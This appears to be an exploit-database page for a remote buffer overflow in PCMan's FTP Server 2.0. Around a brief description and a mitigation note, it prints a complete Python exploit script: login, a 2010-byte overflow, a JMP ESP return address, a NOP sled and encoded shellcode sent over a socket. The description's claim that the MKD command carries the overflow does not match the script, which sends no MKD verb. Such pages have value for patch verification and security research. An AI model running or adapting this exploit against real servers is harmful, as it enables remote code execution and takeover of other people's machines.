PCMan's FTP Server 2.0 Remote Buffer Overflow Exploit

vendor:

PCMan's FTP Server

by:

Chako

9,3

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: PCMan's FTP Server

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:pcman:pcman_ftp_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 SP1 English

2013

PCMan’s FTP Server 2.0 Remote Buffer Overflow Exploit

PCMan's FTP Server 2.0 is vulnerable to a remote buffer overflow exploit. The exploit is triggered when a malicious user sends a specially crafted MKD command with an overly long payload. This causes a buffer overflow, which can be used to execute arbitrary code on the vulnerable system.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of PCMan's FTP Server.

Source

Exploit-DB raw data:

#!/usr/bin/python
#
#
####################################################################
#
# Exploit Title: PCMan's FTP Server 2.0 Remote Buffer Overflow Exploit
# Date: 2013/6/26
# Exploit Author: Chako
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Download Link: https://files.secureserver.net/1sMltFOsytirTG
# Version: 2.0
# Tested on: Windows 7 SP1 English
#
# EAX 00000000
# ECX 00830A70
# EDX 00000030
# EBX 00000000
# ESP 0018ED70 ASCII "AAAAAAAAAAAAAAAAAAAAA
# EBP 01F214A0
# ESI 0018ED87 ASCII "AAAAAAAAAAAAAAAAAAAAA
# EDI 00000004
# EIP 41414141
#
####################################################################

import socket
import sys

USER    = "anonymous"
PASSWD  = "TEST"

PAYLOAD = "\x41" * 2010
EIP     = "\xDB\xFC\x1C\x75"  # 751CFCDB   JMP ESP USER32.DLL
NOP     = "\x90" * 10

SHELLCODE =(
   "\xba\x38\xdc\x15\x77\xdd\xc7\xd9\x74\x24\xf4\x5d\x33\xc9"
   "\xb1\x33\x83\xc5\x04\x31\x55\x0e\x03\x6d\xd2\xf7\x82\x71"
   "\x02\x7e\x6c\x89\xd3\xe1\xe4\x6c\xe2\x33\x92\xe5\x57\x84"
   "\xd0\xab\x5b\x6f\xb4\x5f\xef\x1d\x11\x50\x58\xab\x47\x5f"
   "\x59\x1d\x48\x33\x99\x3f\x34\x49\xce\x9f\x05\x82\x03\xe1"
   "\x42\xfe\xec\xb3\x1b\x75\x5e\x24\x2f\xcb\x63\x45\xff\x40"
   "\xdb\x3d\x7a\x96\xa8\xf7\x85\xc6\x01\x83\xce\xfe\x2a\xcb"
   "\xee\xff\xff\x0f\xd2\xb6\x74\xfb\xa0\x49\x5d\x35\x48\x78"
   "\xa1\x9a\x77\xb5\x2c\xe2\xb0\x71\xcf\x91\xca\x82\x72\xa2"
   "\x08\xf9\xa8\x27\x8d\x59\x3a\x9f\x75\x58\xef\x46\xfd\x56"
   "\x44\x0c\x59\x7a\x5b\xc1\xd1\x86\xd0\xe4\x35\x0f\xa2\xc2"
   "\x91\x54\x70\x6a\x83\x30\xd7\x93\xd3\x9c\x88\x31\x9f\x0e"
   "\xdc\x40\xc2\x44\x23\xc0\x78\x21\x23\xda\x82\x01\x4c\xeb"
   "\x09\xce\x0b\xf4\xdb\xab\xe4\xbe\x46\x9d\x6c\x67\x13\x9c"
   "\xf0\x98\xc9\xe2\x0c\x1b\xf8\x9a\xea\x03\x89\x9f\xb7\x83"
   "\x61\xed\xa8\x61\x86\x42\xc8\xa3\xe5\x05\x5a\x2f\xc4\xa0"
   "\xda\xca\x18");

print("\n\n[+] PCMan's FTP Server 2.0 Rrmote Buffer Overflow Exploit")
print("[+] Version: V2.0")
print("[+] Chako\n\n\n")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",21))
data = s.recv(1024)


print("[-] Login to FTP Server...\n")
s.send("USER " + USER + '\r\n')
data = s.recv(1024)

s.send("PASS " + PASSWD + '\r\n')
data = s.recv(1024)



print("[-] Sending exploit...\n")
s.send(PAYLOAD + EIP + NOP +SHELLCODE +'\r\n')
s.close()

print("[!] Done! Exploit successfully sent\n")